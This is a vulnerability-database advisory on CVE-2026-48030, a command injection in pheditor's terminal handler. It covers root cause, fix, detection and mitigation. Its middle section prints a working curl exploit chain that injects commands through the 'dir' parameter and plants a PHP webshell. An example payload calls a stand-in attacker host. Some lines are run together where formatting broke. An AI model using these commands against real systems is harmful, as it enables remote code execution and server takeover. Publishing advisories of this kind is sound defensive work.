
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-48030 is a critical OS Command Injection vulnerability in the terminal action handler of pheditor (a PHP-based file editor). It allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the dir POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist. Affected versions are pheditor/pheditor >= 2.0.1 and <= 2.0.3 (Composer package); version 2.0.4 contains the fix. The vulnerability was first published on May 20, 2026, and added to the GitHub Advisory Database on June 9, 2026. It carries a CVSS v3.1 base score of 9.9 (Critical) (GitHub Advisory, Pheditor Advisory).
The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). In pheditor.php (lines 554–586), the terminal handler accepts two POST parameters: command and dir. While $command is checked for shell metacharacters (&, ;, ||), the $dir parameter is concatenated directly into a shell_exec() call without any sanitization: shell_exec((empty($dir) ? null : 'cd ' . $dir . ' && ') . $command . ' && echo \ ; pwd'). An attacker can send a payload such as dir=/tmp; curl attacker.com #, where the semicolon in $dir is never validated, causing the injected command to execute freely. The fix, applied in commit 62b43df, wraps $dir with escapeshellarg() before passing it to shell_exec() (GitHub Advisory, Fix Commit).
Successful exploitation grants an authenticated attacker full Remote Code Execution (RCE) with the privileges of the web server process (e.g., www-data). The attacker can execute arbitrary OS commands, bypass the TERMINAL_COMMANDS whitelist entirely, deploy persistent PHP webshells to the webroot, and read, write, or delete any file accessible to the web server. The changed scope (S:C) means the impact can extend beyond pheditor itself, potentially compromising other applications hosted on the same server (Pheditor Advisory).
curl -c cookies.txt -X POST http://TARGET/pheditor.php \
-d "pheditor_password=admin" -L > /dev/nullTOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
grep -o 'token = "[a-f0-9]*"' | \
grep -o '"[a-f0-9]*"' | tr -d '"')command field is blocked.curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=curl https://ifconfig.me" \
--data-urlencode "dir=/tmp"
# → {"error":true,"message":"Command not allowed"}dir parameter injection: Inject shell metacharacters into the dir field, which is not sanitized.curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=ls" \
--data-urlencode "dir=/tmp; curl -s https://ifconfig.me #"
# → {"error":false,"message":"OK","dir":""}curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=ls" \
--data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]); ?>' > /var/www/html/shell.php #"curl "http://TARGET/shell.php?c=id"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)curl attacker.com); unusual DNS lookups originating from the web server host.pheditor.php with action=terminal and dir parameter values containing semicolons (;), pipes (|), or other shell metacharacters; repeated authentication attempts followed by terminal action requests.shell.php) not associated with normal application deployment; unexpected modification timestamps on files in /var/www/html/ or equivalent directories.www-data spawning curl, wget, bash, python, or nc); unexpected cron jobs or scheduled tasks created under the web server user account.
(Pheditor Advisory)Upgrade pheditor to version 2.0.4 or later, which applies escapeshellarg() to the $dir parameter before passing it to shell_exec(), preventing shell metacharacter injection (Fix Commit). As a temporary workaround if upgrading is not immediately possible, disable the terminal feature in pheditor's configuration to remove the vulnerable attack surface. Additionally, restrict access to pheditor.php to trusted IP addresses via web server configuration (e.g., .htaccess or nginx allow/deny directives) to reduce exposure (GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."